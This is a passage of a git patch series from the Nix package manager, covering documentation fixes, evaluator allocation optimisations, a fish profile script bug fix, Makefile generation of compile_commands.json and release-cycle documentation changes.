file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/primops/context.cc b/src/libexpr/primops/context.cc index 88502fe2d..f5444b44a 100644 --- a/src/libexpr/primops/context.cc +++ b/src/libexpr/primops/context.cc @@ -144,7 +144,7 @@ static RegisterPrimOp primop_addDrvOutputDependencies({ The original string context element must not be empty or have multiple elements, and it must not have any other type of element other than a constant or derivation deep element. The latter is supported so this function is idempotent. - This is the opposite of [`builtins.unsafeDiscardOutputDependency`](#builtins-addDrvOutputDependencies). + This is the opposite of [`builtins.unsafeDiscardOutputDependency`](#builtins-unsafeDiscardOutputDependency). )", .fun = prim_addDrvOutputDependencies }); From d2b512959c00e487c4858a6c4bd53dc9db0bf0d6 Mon Sep 17 00:00:00 2001 From: Yueh-Shun Li Date: Mon, 18 Mar 2024 02:38:31 +0800 Subject: [PATCH 0245/1251] builtins.addDrvOutputDependencies: fix commentary --- src/libexpr/primops/context.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/primops/context.cc b/src/libexpr/primops/context.cc index f5444b44a..27a454b27 100644 --- a/src/libexpr/primops/context.cc +++ b/src/libexpr/primops/context.cc @@ -246,7 +246,7 @@ static RegisterPrimOp primop_getContext({ /* Append the given context to a given string. - See the commentary above unsafeGetContext for details of the + See the commentary above getContext for details of the context representation. */ static void prim_appendContext(EvalState & state, const PosIdx pos, Value * * args, Value & v) From ad217ddbbc759f1b67bf1368032f364ee483b790 Mon Sep 17 00:00:00 2001 From: lelgenio Date: Mon, 18 Mar 2024 16:23:17 -0300 Subject: [PATCH 0246/1251] Document builtins.storePath being disabled by pure-eval --- src/libexpr/eval-settings.hh | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/src/libexpr/eval-settings.hh b/src/libexpr/eval-settings.hh index c5581b9ff..60d3a6f25 100644 --- a/src/libexpr/eval-settings.hh +++ b/src/libexpr/eval-settings.hh @@ -76,9 +76,10 @@ struct EvalSettings : Config - Restrict file system and network access to files specified by cryptographic hash - Disable impure constants: - - [`bultins.currentSystem`](@docroot@/language/builtin-constants.md#builtins-currentSystem) + - [`builtins.currentSystem`](@docroot@/language/builtin-constants.md#builtins-currentSystem) - [`builtins.currentTime`](@docroot@/language/builtin-constants.md#builtins-currentTime) - [`builtins.nixPath`](@docroot@/language/builtin-constants.md#builtins-nixPath) + - [`builtins.storePath`](@docroot@/language/builtin-constants.md#builtins-storePath) )" }; From cd35e0010322bbf30b967cb7991e84dd740e43df Mon Sep 17 00:00:00 2001 From: John Ericson Date: Mon, 18 Mar 2024 16:41:16 -0400 Subject: [PATCH 0247/1251] Adding missing tracking URL for local overlay store MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com> --- src/libutil/experimental-features.cc | 1 + 1 file changed, 1 insertion(+) diff --git a/src/libutil/experimental-features.cc b/src/libutil/experimental-features.cc index 595dd4301..e1a8b5b9d 100644 --- a/src/libutil/experimental-features.cc +++ b/src/libutil/experimental-features.cc @@ -260,6 +260,7 @@ constexpr std::array xpFeatureDetails .description = R"( Allow the use of [local overlay store](@docroot@/command-ref/new-cli/nix3-help-stores.md#local-overlay-store). )", + .trackingUrl = ""https://github.com/NixOS/nix/milestone/50", }, { .tag = Xp::ConfigurableImpureEnv, From a5262fb880826d278477b77a595b571559476030 Mon Sep 17 00:00:00 2001 From: Jonathan Ringer Date: Tue, 19 Mar 2024 17:37:04 -0700 Subject: [PATCH 0248/1251] Document how to build many outputs of a flake package --- src/nix/build.md | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/src/nix/build.md b/src/nix/build.md index 0fbb39cc3..4c6f6049f 100644 --- a/src/nix/build.md +++ b/src/nix/build.md @@ -40,6 +40,18 @@ R""( lrwxrwxrwx 1 … ./result-dev -> /nix/store/dkm3gwl0xrx0wrw6zi5x3px3lpgjhlw4-glibc-2.32-dev ``` +* Build all outputs: + + ```console + # nix build nixpkgs#openssl^* --print-out-paths + /nix/store/gvad6v0cmq1qccmc4wphsazqbj0xzjsl-openssl-3.0.13-bin + /nix/store/a07jqdrc8afnk8r6f3lnhh4gvab7chk4-openssl-3.0.13-debug + /nix/store/yg75achq89wgqn2fi3gglgsd77kjpi03-openssl-3.0.13-dev + /nix/store/bvdcihi8c88fw31cg6gzzmpnwglpn1jv-openssl-3.0.13-doc + /nix/store/gjqcvq47cmxazxga0cirspm3jywkmvfv-openssl-3.0.13-man + /nix/store/7nmrrad8skxr47f9hfl3xc0pfqmwq51b-openssl-3.0.13 + ``` + * Build attribute `build.x86_64-linux` from (non-flake) Nix expression `release.nix`: From c448636f7c8b50d3d41085bb72e5f608ac1344c1 Mon Sep 17 00:00:00 2001 From: Jesse Schalken Date: Wed, 20 Mar 2024 15:23:31 +1100 Subject: [PATCH 0249/1251] Fix loop over $NIX_PROFILES in nix-profile-daemon.fish.in --- scripts/nix-profile-daemon.fish.in | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/nix-profile-daemon.fish.in b/scripts/nix-profile-daemon.fish.in index c23aa64f0..346dce5dd 100644 --- a/scripts/nix-profile-daemon.fish.in +++ b/scripts/nix-profile-daemon.fish.in @@ -28,7 +28,7 @@ else end # Set $NIX_SSL_CERT_FILE so that Nixpkgs applications like curl work. -if test -n "$NIX_SSH_CERT_FILE" +if test -n "$NIX_SSL_CERT_FILE" : # Allow users to override the NIX_SSL_CERT_FILE else if test -e /etc/ssl/certs/ca-certificates.crt # NixOS, Ubuntu, Debian, Gentoo, Arch set --export NIX_SSL_CERT_FILE /etc/ssl/certs/ca-certificates.crt @@ -44,7 +44,7 @@ else if test -e "$NIX_LINK/etc/ca-bundle.crt" # old cacert in Nix profile set --export NIX_SSL_CERT_FILE "$NIX_LINK/etc/ca-bundle.crt" else # Fall back to what is in the nix profiles, favouring whatever is defined last. - for i in $NIX_PROFILES + for i in (string split ' ' $NIX_PROFILES) if test -e "$i/etc/ssl/certs/ca-bundle.crt" set --export NIX_SSL_CERT_FILE "$i/etc/ssl/certs/ca-bundle.crt" end From 40a7929c8e221e6096c3edd2dd0af948a29e3141 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?F=C3=A9lix=20Baylac-Jacqu=C3=A9?= Date: Sat, 8 Jun 2019 00:41:19 +0200 Subject: [PATCH 0250/1251] Daemon: warn when an untrusted user cannot override a setting In a daemon-based Nix setup, some options cannot be overridden by a client unless the client's user is considered trusted. Currently, if an untrusted user tries to override one of those options, we are silently ignoring it. This can be pretty confusing in certain situations. e.g. a user thinks he disabled the sandbox when in reality he did not. We are now sending a warning message letting know the user some options have been ignored. Related to #1761. This is a cherry-pick of 9e0f5f803f6cbfe9925cef69a0e58cbf5375bfaf. The above commit has been reverted by a59e77d9e54e8e7bf0f3c3f40c22cd34b7a81225 to prevent spamming warnings with experimental features, but these are now totally ignored on the daemon side, so there's no reason for the revert any more. --- src/libstore/daemon.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libstore/daemon.cc b/src/libstore/daemon.cc index 917813342..2c808015d 100644 --- a/src/libstore/daemon.cc +++ b/src/libstore/daemon.cc @@ -254,7 +254,7 @@ struct ClientSettings else if (setSubstituters(settings.substituters)) ; else - debug("ignoring the client-specified setting '%s', because it is a restricted setting and you are not a trusted user", name); + warn("ignoring the client-specified setting '%s', because it is a restricted setting and you are not a trusted user", name); } catch (UsageError & e) { warn(e.what()); } From 0b08dd45b03afd5161966893e42080bf130f527c Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 20 Mar 2024 21:28:38 +0100 Subject: [PATCH 0251/1251] prim_match: Use state.vNull --- src/libexpr/primops.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 9449a8f7c..2cb78e35f 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -4004,7 +4004,7 @@ void prim_match(EvalState & state, const PosIdx pos, Value * * args, Value & v) auto list = state.buildList(match.size() - 1); for (const auto & [i, v2] : enumerate(list)) if (!match[i + 1].matched) - (v2 = state.allocValue())->mkNull(); + v2 = &state.vNull; else (v2 = state.allocValue())->mkString(match[i + 1].str()); v.mkList(list); From d4b0b7f15280659424acc1109679bda7dae11e92 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 20 Mar 2024 21:34:23 +0100 Subject: [PATCH 0252/1251] createBaseEnv: Use state.vNull --- src/libexpr/primops.cc | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 2cb78e35f..61a11b226 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -4430,8 +4430,7 @@ void EvalState::createBaseEnv() )", }); - v.mkNull(); - addConstant("null", v, { + addConstant("null", &vNull, { .type = nNull, .doc = R"( Primitive value. From 4c8a33ce468ae7b369368e6a26a3180030262f23 Mon Sep 17 00:00:00 2001 From: Jonathan Ringer Date: Wed, 20 Mar 2024 14:42:44 -0700 Subject: [PATCH 0253/1251] Update src/nix/build.md MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Co-authored-by: Théophane Hufschmitt <7226587+thufschmitt@users.noreply.github.com> --- src/nix/build.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/nix/build.md b/src/nix/build.md index 4c6f6049f..5dfdd44a7 100644 --- a/src/nix/build.md +++ b/src/nix/build.md @@ -43,7 +43,7 @@ R""( * Build all outputs: ```console - # nix build nixpkgs#openssl^* --print-out-paths + # nix build "nixpkgs#openssl^*" --print-out-paths /nix/store/gvad6v0cmq1qccmc4wphsazqbj0xzjsl-openssl-3.0.13-bin /nix/store/a07jqdrc8afnk8r6f3lnhh4gvab7chk4-openssl-3.0.13-debug /nix/store/yg75achq89wgqn2fi3gglgsd77kjpi03-openssl-3.0.13-dev From d71e74838aade579f9e5e2771ba26b7077398e93 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 20 Mar 2024 22:56:42 +0100 Subject: [PATCH 0254/1251] readDir: Allocate type strings only once --- src/libexpr/eval.cc | 4 ++++ src/libexpr/eval.hh | 9 +++++++++ src/libexpr/primops.cc | 21 +++++++++------------ 3 files changed, 22 insertions(+), 12 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index fb4cfdccf..a6e8a4a8b 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -437,6 +437,10 @@ EvalState::EvalState( vEmptyList.mkList(buildList(0)); vNull.mkNull(); + vStringRegular.mkString("regular"); + vStringDirectory.mkString("directory"); + vStringSymlink.mkString("symlink"); + vStringUnknown.mkString("unknown"); /* Initialise the Nix expression search path. */ if (!evalSettings.pureEval) { diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index 7db911fce..a405888c1 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -191,6 +191,15 @@ public: */ Value vNull; + /** `"regular"` */ + Value vStringRegular; + /** `"directory"` */ + Value vStringDirectory; + /** `"symlink"` */ + Value vStringSymlink; + /** `"unknown"` */ + Value vStringUnknown; + /** * The accessor for the root filesystem. */ diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 61a11b226..2022f6dcf 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -1775,20 +1775,20 @@ static RegisterPrimOp primop_hashFile({ .fun = prim_hashFile, }); -static std::string_view fileTypeToString(InputAccessor::Type type) +static Value * fileTypeToString(EvalState & state, InputAccessor::Type type) { return - type == InputAccessor::Type::tRegular ? "regular" : - type == InputAccessor::Type::tDirectory ? "directory" : - type == InputAccessor::Type::tSymlink ? "symlink" : - "unknown"; + type == InputAccessor::Type::tRegular ? &state.vStringRegular : + type == InputAccessor::Type::tDirectory ? &state.vStringDirectory : + type == InputAccessor::Type::tSymlink ? &state.vStringSymlink : + &state.vStringUnknown; } static void prim_readFileType(EvalState & state, const PosIdx pos, Value * * args, Value & v) { auto path = realisePath(state, pos, *args[0], std::nullopt); /* Retrieve the directory entry type and stringize it. */ - v.mkString(fileTypeToString(path.lstat().type)); + v = *fileTypeToString(state, path.lstat().type); } static RegisterPrimOp primop_readFileType({ @@ -1819,8 +1819,8 @@ static void prim_readDir(EvalState & state, const PosIdx pos, Value * * args, Va Value * readFileType = nullptr; for (auto & [name, type] : entries) { - auto & attr = attrs.alloc(name); if (!type) { + auto & attr = attrs.alloc(name); // Some filesystems or operating systems may not be able to return // detailed node info quickly in this case we produce a thunk to // query the file type lazily. @@ -1832,7 +1832,7 @@ static void prim_readDir(EvalState & state, const PosIdx pos, Value * * args, Va } else { // This branch of the conditional is much more likely. // Here we just stringize the directory entry type. - attr.mkString(fileTypeToString(*type)); + attrs.insert(state.symbols.create(name), fileTypeToString(state, *type)); } } @@ -2193,11 +2193,8 @@ bool EvalState::callPathFilter( Value arg1; arg1.mkString(pathArg); - Value arg2; // assert that type is not "unknown" - arg2.mkString(fileTypeToString(st.type)); - - Value * args []{&arg1, &arg2}; + Value * args []{&arg1, fileTypeToString(*this, st.type)}; Value res; callFunction(*filterFun, 2, args, res, pos); From a865049c4f39cb7773f97a67cfa12f5b650a86ee Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 20 Mar 2024 23:06:23 +0100 Subject: [PATCH 0255/1251] tryEval: Allocate true and false once --- src/libexpr/eval.cc | 2 ++ src/libexpr/eval.hh | 18 +++++++++++++++++- src/libexpr/primops.cc | 7 ++++--- 3 files changed, 23 insertions(+), 4 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index a6e8a4a8b..a62cee299 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -437,6 +437,8 @@ EvalState::EvalState( vEmptyList.mkList(buildList(0)); vNull.mkNull(); + vTrue.mkBool(true); + vFalse.mkBool(false); vStringRegular.mkString("regular"); vStringDirectory.mkString("directory"); vStringSymlink.mkString("symlink"); diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index a405888c1..eac83fe34 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -187,10 +187,26 @@ public: Value vEmptyList; /** - * Null constant. + * `null` constant. + * + * This is _not_ a singleton. Pointer equality is _not_ sufficient. */ Value vNull; + /** + * `true` constant. + * + * This is _not_ a singleton. Pointer equality is _not_ sufficient. + */ + Value vTrue; + + /** + * `true` constant. + * + * This is _not_ a singleton. Pointer equality is _not_ sufficient. + */ + Value vFalse; + /** `"regular"` */ Value vStringRegular; /** `"directory"` */ diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 2022f6dcf..0f2aaa83f 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -896,10 +896,11 @@ static void prim_tryEval(EvalState & state, const PosIdx pos, Value * * args, Va try { state.forceValue(*args[0], pos); attrs.insert(state.sValue, args[0]); - attrs.alloc("success").mkBool(true); + attrs.insert(state.symbols.create("success"), &state.vTrue); } catch (AssertionError & e) { - attrs.alloc(state.sValue).mkBool(false); - attrs.alloc("success").mkBool(false); + // `value = false;` is unfortunate but removing it is a breaking change. + attrs.insert(state.sValue, &state.vFalse); + attrs.insert(state.symbols.create("success"), &state.vFalse); } // restore the debugRepl pointer if we saved it earlier. From 8c6e0df45f9091fc27143f24d4fe782c661393e2 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 20 Mar 2024 23:07:00 +0100 Subject: [PATCH 0256/1251] value.hh: Fix warning about {struct/class} Value --- src/libexpr/value.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libexpr/value.hh b/src/libexpr/value.hh index 885621cf5..335801b34 100644 --- a/src/libexpr/value.hh +++ b/src/libexpr/value.hh @@ -159,7 +159,7 @@ public: iterator begin() { return &elems[0]; } iterator end() { return &elems[size]; } - friend class Value; + friend struct Value; }; From 1fcdd1640ec2e63f14487c1af60514fb62ffef19 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Wed, 20 Mar 2024 23:11:54 +0100 Subject: [PATCH 0257/1251] functionArgs: Allocate bools only once --- src/libexpr/eval.cc | 3 +++ src/libexpr/eval.hh | 5 +++++ src/libexpr/primops.cc | 3 +-- 3 files changed, 9 insertions(+), 2 deletions(-) diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index a62cee299..5e2f71649 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -937,6 +937,9 @@ ListBuilder::ListBuilder(EvalState & state, size_t size) state.nrListElems += size; } +Value * EvalState::getBool(bool b) { + return b ? &vTrue : &vFalse; +} unsigned long nrThunks = 0; diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index eac83fe34..f15d19653 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -650,6 +650,11 @@ public: return ListBuilder(*this, size); } + /** + * Return a boolean `Value *` without allocating. + */ + Value *getBool(bool b); + void mkThunk_(Value & v, Expr * expr); void mkPos(Value & v, PosIdx pos); diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 0f2aaa83f..d0fcfd194 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -2845,8 +2845,7 @@ static void prim_functionArgs(EvalState & state, const PosIdx pos, Value * * arg auto attrs = state.buildBindings(args[0]->lambda.fun->formals->formals.size()); for (auto & i : args[0]->lambda.fun->formals->formals) - // !!! should optimise booleans (allocate only once) - attrs.alloc(i.name, i.pos).mkBool(i.def); + attrs.insert(i.name, state.getBool(i.def), i.pos); v.mkAttrs(attrs); } From 83fc988bec374d6beb197e6dde9aef20b6f52b8d Mon Sep 17 00:00:00 2001 From: Andrea Bedini Date: Mon, 18 Mar 2024 23:57:15 +0800 Subject: [PATCH 0258/1251] Create compile-commands.json with Make --- .gitignore | 1 + mk/compilation-database.mk | 11 +++++++++++ mk/lib.mk | 8 ++++++++ mk/patterns.mk | 36 +++++++++++++++++++++++++++++++++--- mk/tracing.mk | 2 ++ 5 files changed, 55 insertions(+), 3 deletions(-) create mode 100644 mk/compilation-database.mk diff --git a/.gitignore b/.gitignore index 7bf77adf4..01fafa5a9 100644 --- a/.gitignore +++ b/.gitignore @@ -142,6 +142,7 @@ GTAGS # auto-generated compilation database compile_commands.json +*.compile_commands.json nix-rust/target diff --git a/mk/compilation-database.mk b/mk/compilation-database.mk new file mode 100644 index 000000000..f69dc0de0 --- /dev/null +++ b/mk/compilation-database.mk @@ -0,0 +1,11 @@ +compile-commands-json-files := + +define write-compile-commands + _srcs := $$(sort $$(foreach src, $$($(1)_SOURCES), $$(src))) + + $(1)_COMPILE_COMMANDS_JSON := $$(addprefix $(buildprefix), $$(addsuffix .compile_commands.json, $$(basename $$(_srcs)))) + + compile-commands-json-files += $$($(1)_COMPILE_COMMANDS_JSON) + + clean-files += $$($(1)_COMPILE_COMMANDS_JSON) +endef diff --git a/mk/lib.mk b/mk/lib.mk index fe0add1c9..a002d823f 100644 --- a/mk/lib.mk +++ b/mk/lib.mk @@ -68,6 +68,7 @@ include mk/patterns.mk include mk/templates.mk include mk/cxx-big-literal.mk include mk/tests.mk +include mk/compilation-database.mk # Include all sub-Makefiles. @@ -97,6 +98,13 @@ $(foreach test-group, $(install-tests-groups), \ $(eval $(call run-test,$(test),$(install_test_init))) \ $(eval $(test-group).test-group: $(test).test))) +# Compilation database. +$(foreach lib, $(libraries), $(eval $(call write-compile-commands,$(lib)))) +$(foreach prog, $(programs), $(eval $(call write-compile-commands,$(prog)))) + +compile_commands.json: $(compile-commands-json-files) + @jq --slurp '.' $^ >$@ + # Include makefiles requiring built programs. $(foreach mf, $(makefiles-late), $(eval $(call include-sub-makefile,$(mf)))) diff --git a/mk/patterns.mk b/mk/patterns.mk index c81150260..4caa2039e 100644 --- a/mk/patterns.mk +++ b/mk/patterns.mk @@ -1,11 +1,41 @@ + +# These are the complete command lines we use to compile C and C++ files. +# - $< is the source file. +# - $1 is the object file to create. +CC_CMD=$(CC) -o $1 -c $< $(CPPFLAGS) $(GLOBAL_CFLAGS) $(CFLAGS) $($1_CFLAGS) -MMD -MF $(call filename-to-dep,$1) -MP +CXX_CMD=$(CXX) -o $1 -c $< $(CPPFLAGS) $(GLOBAL_CXXFLAGS_PCH) $(GLOBAL_CXXFLAGS) $(CXXFLAGS) $($1_CXXFLAGS) $(ERROR_SWITCH_ENUM) -MMD -MF $(call filename-to-dep,$1) -MP + +# We use COMPILE_COMMANDS_JSON_CMD to turn a compilation command (like CC_CMD +# or CXX_CMD above) into a comple_commands.json file. We rely on bash native +# word splitting to define the positional arguments. +# - $< is the source file being compiled. +COMPILE_COMMANDS_JSON_CMD=jq --null-input '{ directory: $$ENV.PWD, file: "$<", arguments: $$ARGS.positional }' --args -- + + $(buildprefix)%.o: %.cc @mkdir -p "$(dir $@)" - $(trace-cxx) $(CXX) -o $@ -c $< $(CPPFLAGS) $(GLOBAL_CXXFLAGS_PCH) $(GLOBAL_CXXFLAGS) $(CXXFLAGS) $($@_CXXFLAGS) $(ERROR_SWITCH_ENUM) -MMD -MF $(call filename-to-dep, $@) -MP + $(trace-cxx) $(call CXX_CMD,$@) $(buildprefix)%.o: %.cpp @mkdir -p "$(dir $@)" - $(trace-cxx) $(CXX) -o $@ -c $< $(CPPFLAGS) $(GLOBAL_CXXFLAGS_PCH) $(GLOBAL_CXXFLAGS) $(CXXFLAGS) $($@_CXXFLAGS) $(ERROR_SWITCH_ENUM) -MMD -MF $(call filename-to-dep, $@) -MP + $(trace-cxx) $(call CXX_CMD,$@) $(buildprefix)%.o: %.c @mkdir -p "$(dir $@)" - $(trace-cc) $(CC) -o $@ -c $< $(CPPFLAGS) $(GLOBAL_CFLAGS) $(CFLAGS) $($@_CFLAGS) -MMD -MF $(call filename-to-dep, $@) -MP + $(trace-cc) $(call CC_CMD,$@) + +# In the following we need to replace the .compile_commands.json extension in $@ with .o +# to make the object file. This is needed because CC_CMD and CXX_CMD do further expansions +# based on the object file name (i.e. *_CXXFLAGS and filename-to-dep). + +$(buildprefix)%.compile_commands.json: %.cc + @mkdir -p "$(dir $@)" + $(trace-jq) $(COMPILE_COMMANDS_JSON_CMD) $(call CXX_CMD,$(@:.compile_commands.json=.o)) > $@ + +$(buildprefix)%.compile_commands.json: %.cpp + @mkdir -p "$(dir $@)" + $(trace-jq) $(COMPILE_COMMANDS_JSON_CMD) $(call CXX_CMD,$(@:.compile_commands.json=.o)) > $@ + +$(buildprefix)%.compile_commands.json: %.c + @mkdir -p "$(dir $@)" + $(trace-jq) $(COMPILE_COMMANDS_JSON_CMD) $(call CC_CMD,$(@:.compile_commands.json=.o)) > $@ diff --git a/mk/tracing.mk b/mk/tracing.mk index 1fc5573d7..09db1e617 100644 --- a/mk/tracing.mk +++ b/mk/tracing.mk @@ -10,6 +10,8 @@ ifeq ($(V), 0) trace-install = @echo " INST " $@; trace-mkdir = @echo " MKDIR " $@; trace-test = @echo " TEST " $@; + trace-sh = @echo " SH " $@; + trace-jq = @echo " JQ " $@; suppress = @ From d0824f661e712c384332953db54bb523834909ce Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Thu, 21 Mar 2024 16:54:28 +0100 Subject: [PATCH 0259/1251] Document the new `compile_commands.json` target --- doc/manual/src/contributing/hacking.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/contributing/hacking.md b/doc/manual/src/contributing/hacking.md index 916ec3077..28ed49666 100644 --- a/doc/manual/src/contributing/hacking.md +++ b/doc/manual/src/contributing/hacking.md @@ -258,7 +258,7 @@ See [supported compilation environments](#compilation-environments) and instruct To use the LSP with your editor, you first need to [set up `clangd`](https://clangd.llvm.org/installation#project-setup) by running: ```console -make clean && bear -- make -j$NIX_BUILD_CORES default check install +make compile_commands.json ``` Configure your editor to use the `clangd` from the shell, either by running it inside the development shell, or by using [nix-direnv](https://github.com/nix-community/nix-direnv) and [the appropriate editor plugin](https://github.com/direnv/direnv/wiki#editor-integration). From c13a31f6396ea5c035926d99243b314bc414ed9c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Fri, 22 Mar 2024 11:40:29 +0100 Subject: [PATCH 0260/1251] Update the release cycle MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Align the “frequent” release cycle with the calendar - The 6-month release cycle is hard to keep track of. A monthly release will make it much easier to remember the release date. - Officialise the support for a stable version maintained for as long as NixOS stable - This is already the case in practice, it just happens that the “stable” Nixpkgs version is whichever version was deemed stable-enough at the time of the NixOS release. Officialise that by cutting a new major release alongside each NixOS one. Note that this breaks whatever semver compatibility Nix might pretend to have, but I don't think it makes sense any way. --- doc/manual/src/SUMMARY.md.in | 2 +- doc/manual/src/release-notes/index.md | 21 ++++++++++++--------- 2 files changed, 13 insertions(+), 10 deletions(-) diff --git a/doc/manual/src/SUMMARY.md.in b/doc/manual/src/SUMMARY.md.in index 1149fc7b4..43b9e925f 100644 --- a/doc/manual/src/SUMMARY.md.in +++ b/doc/manual/src/SUMMARY.md.in @@ -119,7 +119,7 @@ - [Experimental Features](contributing/experimental-features.md) - [CLI guideline](contributing/cli-guideline.md) - [C++ style guide](contributing/cxx.md) -- [Release Notes](release-notes/index.md) +- [Releases](release-notes/index.md) {{#include ./SUMMARY-rl-next.md}} - [Release 2.21 (2024-03-11)](release-notes/rl-2.21.md) - [Release 2.20 (2024-01-29)](release-notes/rl-2.20.md) diff --git a/doc/manual/src/release-notes/index.md b/doc/manual/src/release-notes/index.md index cc805e631..150253baa 100644 --- a/doc/manual/src/release-notes/index.md +++ b/doc/manual/src/release-notes/index.md @@ -1,12 +1,15 @@ # Nix Release Notes -Nix has a release cycle of roughly 6 weeks. +The Nix release cycle is calendar-based as follows: + +- A new minor version (`XX.YY+1.0`) is published every month and supported for two months; +- A new major version (`XX+1.1.0`) is published twice a year, in April and October, and supported for eight months. + +The rationale behind that cycle is that +- Minor versions stay close to master and bring early access to new features for the user who need them; +- Major versions are aligned with the NixOS releases (released one month before NixOS and supported for as long at it). + +Bugfixes and security issues are backported to every supported version. +Patch releases are published as needed. + Notable changes and additions are announced in the release notes for each version. - -Bugfixes can be backported on request to previous Nix releases. -We typically backport only as far back as the Nix version used in the latest NixOS release, which is announced in the [NixOS release notes](https://nixos.org/manual/nixos/stable/release-notes.html#ch-release-notes). - -Backports never skip releases. -If a feature is backported to version `x.y`, it must also be available in version `x.(y+1)`. -This ensures that upgrading from an older version with backports is still safe and no backported functionality will go missing. - From 4e2f11b6927cb0e4171b2758196f2310760617d2 Mon Sep 17 00:00:00 2001 From: Tharun T Date: Fri, 22 Mar 2024 18:34:55 +0530 Subject: [PATCH 0261/1251] doc build output correction Signed-off-by: Tharun T --- doc/manual/src/contributing/documentation.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/contributing/documentation.md b/doc/manual/src/contributing/documentation.md index 1dddb207c..46cca759d 100644 --- a/doc/manual/src/contributing/documentation.md +++ b/doc/manual/src/contributing/documentation.md @@ -30,7 +30,7 @@ To build the manual incrementally, [enter the development shell](./hacking.md) a make manual-html -j $NIX_BUILD_CORES ``` -and open `./outputs/out/share/doc/nix/manual/language/index.html`. +and open `./outputs/doc/share/doc/nix/manual/language/index.html`. In order to reflect changes to the [Makefile for the manual], clear all generated files before re-building: From bfd36402acc976c32ec8349a2a25fa4288d65475 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Fri, 22 Mar 2024 18:11:24 +0100 Subject: [PATCH 0262/1251] EvalCache: Fix missing format string argument Fixes terminate called after throwing an instance of 'boost::wrapexcept' what(): boost::too_few_args: format-string referred to more arguments than were passed Aborted (core dumped) for type errors in AttrCursor. --- src/libexpr/eval-cache.cc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libexpr/eval-cache.cc b/src/libexpr/eval-cache.cc index 2fc69e796..1538eb056 100644 --- a/src/libexpr/eval-cache.cc +++ b/src/libexpr/eval-cache.cc @@ -581,7 +581,7 @@ std::string AttrCursor::getString() auto & v = forceValue(); if (v.type() != nString && v.type() != nPath) - root->state.error("'%s' is not a string but %s", getAttrPathStr()).debugThrow(); + root->state.error("'%s' is not a string but %s", getAttrPathStr(), showType(v)).debugThrow(); return v.type() == nString ? v.c_str() : v.path().to_string(); } @@ -630,7 +630,7 @@ string_t AttrCursor::getStringWithContext() else if (v.type() == nPath) return {v.path().to_string(), {}}; else - root->state.error("'%s' is not a string but %s", getAttrPathStr()).debugThrow(); + root->state.error("'%s' is not a string but %s", getAttrPathStr(), showType(v)).debugThrow(); } bool AttrCursor::getBool() From cc29d85d06dbb050ac7df0f532ec0bec6212232b Mon Sep 17 00:00:00 2001 From: Picnoir Date: Fri, 22 Mar 2024 22:31:41 +0100 Subject: [PATCH 0263/1251] Doc: explicitly specify which shell to use to get clangd I was using by mistake the .#nix-clangStdenv shell to retrieve clangd. This clangd is unusable with the project and constantly segfaults. Let's explicitly state which shell the user should use in the docs. I don't really understand the source of this segfault. I assume it's related to a clang version incompatibility. (16.0.6 for .#nix-clangStdenv 14.0.6 for .#native-clangStdenvPackages) --- doc/manual/src/contributing/hacking.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/manual/src/contributing/hacking.md b/doc/manual/src/contributing/hacking.md index 28ed49666..2ff70f500 100644 --- 